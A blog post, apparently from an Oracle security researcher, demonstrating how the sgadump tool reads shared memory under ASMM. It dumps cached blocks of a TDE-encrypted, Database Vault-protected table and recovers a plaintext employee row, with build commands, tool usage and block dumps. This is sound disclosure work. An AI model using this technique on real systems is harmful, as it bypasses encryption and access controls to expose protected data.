After my last article AMM vs security, Martin Berger wrote to me:
well,
even without AMM you can do it:
write your own process which attaches to the same shm segments – and use its memory mapping (?)
My response was that it is also possible with ASMM but AMM makes it extremely easy. And this is because you can treat memory as regular binary files when operating on AMM.
Today I want to show you how dump blocks from SGA which is configured as ASMM to get into encrypted data which is also protected by Oracle Database Vault. To set up the environment I will use examples from a previous blog post.
Code for sgadump is written in GoLang, so please use those instructions to setup your environment: https://golang.org/doc/install
Please make sure that your ENV is set up properly:
[oracle@rokoko ~]$ cat .bash_profile | grep go GOPATH=/home/oracle/go PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
After installing GoLang you can do the following to compile my tool:
[oracle@rokoko ~]$ mkdir -p ~/go/src/github.com/ghetzel [oracle@rokoko ~]$ mkdir -p ~/go/src/github.com/ora600pl [oracle@rokoko ~]$ cd ~/go/src/github.com/ghetzel [oracle@rokoko ghetzel]$ git clone https://github.com/ghetzel/shmtool Cloning into 'shmtool'... remote: Counting objects: 92, done. remote: Total 92 (delta 0), reused 0 (delta 0), pack-reused 92 Unpacking objects: 100% (92/92), done. [oracle@rokoko ghetzel]$ cd ~/go/src/github.com/ora600pl [oracle@rokoko ora600pl]$ git clone https://github.com/ora600pl/sgadump Cloning into 'sgadump'... remote: Counting objects: 9, done. remote: Compressing objects: 100% (7/7), done. remote: Total 9 (delta 0), reused 9 (delta 0), pack-reused 0 Unpacking objects: 100% (9/9), done. [oracle@rokoko ora600pl]$ cd sgadump/ [oracle@rokoko sgadump]$ ls README.md sgadump.go [oracle@rokoko sgadump]$ go install
If your ENV was setup properly, you’ll find a binary file under ~/go/bin/sgadump and use it like this:
[oracle@rokoko sgadump]$ sgadump sgadump by Kamil Stawiarski (@ora600pl) - dumps database blocks from SGA. Usage: sgadump -b block_size -d data_object_id -s shmid -o output_file_name
Cool, now let’s make sure, that we are using ASMM and not AMM:
SQL> sho parameters memory_target NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ memory_target big integer 0 SQL> sho parameters sga_target NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ sga_target big integer 1120M
Now we will check if the tool works – first of all we have to check data_object_id of HR.EMPLOYEES, load encrypted data to memory, get ID_SHM for SGA and dump blocks. Easy, right? 🙂
SQL> alter system flush buffer_cache; Zmieniono system. SQL> select data_object_id 2 from dba_objects 3 where object_name='EMPLOYEES' 4 and owner='HR'; DATA_OBJECT_ID -------------- 73865 SQL> select dbms_rowid.rowid_block_number(rowid) as bno, count(1) 2 from hr.employees 3 group by dbms_rowid.rowid_block_number(rowid); BNO COUNT(1) ---------- ---------- 132 9 131 98
So we now that rows from that table fit in 2 database blocks.
Now let’s try to dump them into a file using my simple tool.
[oracle@rokoko sgadump]$ ipcs -m ------ Segmenty pamięci dzielonej ---- klucz id_shm właściciel uprawn. bajtów podłączeń stan 0x00000000 262144 oracle 600 8622080 116 0x00000000 294913 oracle 600 1157627904 58 0x00000000 327682 oracle 600 8155136 58 0x91a6a268 360451 oracle 600 8192 58 [oracle@rokoko sgadump]$ sgadump -b 8192 -d 73865 -s 294913 -o emps shmid = 294913 size is 1157627904, blocks = 141312 Dumped 2 blocks to emps
Awesome! Now we can use rico2 to compare the content of encrypted blocks in a datafile and unencrypted ones in SGA.
[oracle@rokoko ~]$ cat listfile.rico2 1 /home/oracle/go/src/github.com/ora600pl/sgadump/emps 2 /u01/app/oracle/oradata/DUPA12/datafile/o1_mf_secure_d_fn9jj6xy_.dbf [oracle@rokoko ~]$ python rico2.py listfile.rico2 RICO v2 by Kamil Stawiarski (@ora600pl | www.ora-600.pl) This is open source project to map BBED functionality. If you know how to use BBED, you will know how to use this one. Not everything is documented but in most cases the code is trivial to interpret it. So if you don't know how to use this tool - then maybe you shouldn't ;) Usage: python2.7 rico2.py listfile.txt The listfile.txt should contain the list of the DBF files you want to read !!! CAUTION !!!! This tool should be used only to learn or in critical situations! The usage is not supported! If found on production system, this software should be considered as malware and deleted immediately! 1 /home/oracle/go/src/github.com/ora600pl/sgadump/emps 2 /u01/app/oracle/oradata/DUPA12/datafile/o1_mf_secure_d_fn9jj6xy_.dbf rico2 > set dba 2,131 DBA 0x800083 (8388739 2,131) rico2 > map File: /u01/app/oracle/oradata/DUPA12/datafile/o1_mf_secure_d_fn9jj6xy_.dbf(2) Block: 131 Dba: 0x800083 ------------------------------------------------------------ Wrong kind of block. Currently supported: 6.1 182 rico2 > d File: /u01/app/oracle/oradata/DUPA12/datafile/o1_mf_secure_d_fn9jj6xy_.dbf(2) Block: 131 Offsets: 0 to 512 Dba: 0x800083 --------------------------------------------------------------- 06a20000 83004001 1f6d1900 00000114 | ......@..m...... c2d40000 b64bd34f 98dcff3f 23d0c822 | .....K.O...?#.." ba1b1249 8e0d572f 740b8db7 f7fd6a15 | ...I..W/t.....j. 679856ef a61c8130 896c0066 cd6b7a45 | g.V....0.l.f.kzE b3751eb2 b40cdeb6 8f16bbdf f9b4f53d | .u.............= 50199851 dbe0dde9 5688576b 9e9df4a0 | P..Q....V.Wk.... 0f481d54 b36b746f b98f6a21 0d13fb51 | .H.T.kto..j!...Q 489b7825 4e94fd05 d2bbe1ce 7b117069 | H.x%N.......{.pi 38c5ab56 e4ae4a77 2ff41926 5bb135d7 | 8..V..Jw/..&[.5. b4432e7a 630ca876 a52f5905 31ddcc10 | .C.zc..v./Y.1... dfcb778a 4573f718 44c1bb9d f89ab735 | ..w.Es..D......5 3518bf50 be236042 c49efe31 c72865dc | 5..P.#`B...1.(e. 88827881 6c6ce355 2b14f312 bf9119af | ..x.ll.U+....... 5f53c4c5 7fd4c1a7 ac29c784 1c124019 | _S......)....@. 46098a1e 42dd8b48 640b777b 49f20b58 | F...B..Hd.w{I..X 0cfd6491 cff43be9 a48013bc d336796b | ..d...;......6yk 7b3a2a3b 513dee44 8f7a5d6d 948c9d54 | {:*;Q=.D.z]m...T 7decaea7 37f35331 4b1a36a2 0fcd0c70 | }...7.S1K.6....p 4e83beae 72e03920 c7a218ba f4cb17e4 | N...r.9 ........ d10d09f8 bb3e5aa4 be827849 b4b9522e | .....>Z...xI..R. 0c171483 fce82a0c 64b184da 7da1ef73 | ......*.d...}..s 8cd53b7b 66e46885 8855018a babb6669 | ..;{f.h..U....fi e1a79636 b66210d7 c27b6f43 43929a58 | ...6.b...{oCC..X 915d44bf e6efe9d0 845c4c97 3c25d5fa | .]D......\L.<%.. 29d90c7d 11fe47f7 73213529 8c75a98b | )..}..G.s!5).u.. cd30d13f a76adf74 c2bfe501 ec853a74 | .0.?.j.t......:t 605f6641 b57c9a85 614d28f8 75c2253f | `_fA.|..aM(.u.%? 7dfcb3d8 7bcc1386 ab40d7e1 7a37b999 | }...{....@..z7.. f9837dc3 c5073575 9181feaf 038ae706 | ..}...5u........ c344ff1d 075b3b6b 7c07b118 3a88a3fd | .D...[;k|...:... 23bb4a29 7170a48a 975818b7 21ce08a9 | #.J)qp...X..!... <16 bytes per line>
As you can see I can’t read the encrypted block in a datafile. But let’s check the dump from SGA:
rico2 > set dba 1,0 DBA 0x400000 (4194304 1,0) rico2 > map File: /home/oracle/go/src/github.com/ora600pl/sgadump/emps(1) Block: 0 Dba: 0x400000 ------------------------------------------------------------ DATA Table/Cluster struct kcbh, 20 bytes @0 struct ktbbh, 96 bytes @20 struct kdbh, 14 bytes @124 struct kdbt[1], 4 bytes @138 sb2 kdbr[9] @142 ub1 freespace[7406] @160 ub1 rowdata[622] @7566 ub4 tailchk @8188 rico2 > p *kdbr[0] rowdata[549] @8115 0x2c ------------- flag@8115: 0x2c lock@8116: 0x0 cols@8117: 11 col 0[3] @8118: c20263 col 1[6] @8122: 446f6e616c64 col 2[8] @8129: 4f436f6e6e656c6c col 3[8] @8138: 444f434f4e4e454c col 4[12] @8147: 3635302e3530372e39383333 col 5[7] @8160: 786b0615010101 col 6[8] @8168: 53485f434c45524b col 7[2] @8177: c21b col 8[0] @8180: *NULL* col 9[3] @8181: c20219 col 10[2] @8185: c133 rico2 > x /rncccctcnnnn rowdata[549] @8115 0x2c ------------- flag@8115: 0x2c lock@8116: 0x0 cols@8117: 11 col 0[3] @8118: c20263 198 col 1[6] @8122: 446f6e616c64 Donald col 2[8] @8129: 4f436f6e6e656c6c OConnell col 3[8] @8138: 444f434f4e4e454c DOCONNEL col 4[12] @8147: 3635302e3530372e39383333 650.507.9833 col 5[7] @8160: 786b0615010101 2007-06-21:00:00:00 col 6[8] @8168: 53485f434c45524b SH_CLERK col 7[2] @8177: c21b 2600 col 8[0] @8180: *NULL* col 9[3] @8181: c20219 124 col 10[2] @8185: c133 50
KaBoom! 🙂
So as you can see – it is possible even with ASMM but it is much, much harder and we don’t want to make things easy for potential "hackers" ;).
And nothing is impossible in IT. It can be just unaffordable… or it can take longer than a life of one generation 😉
Good security is made by people you know and people you should trust. Nothing will protect itself – no matter how fancy software you’ll buy. Even the most advanced autonomous software – human immunology system – requires maintenance and correct usage and – from time to time – diagnostic by an expert you trust.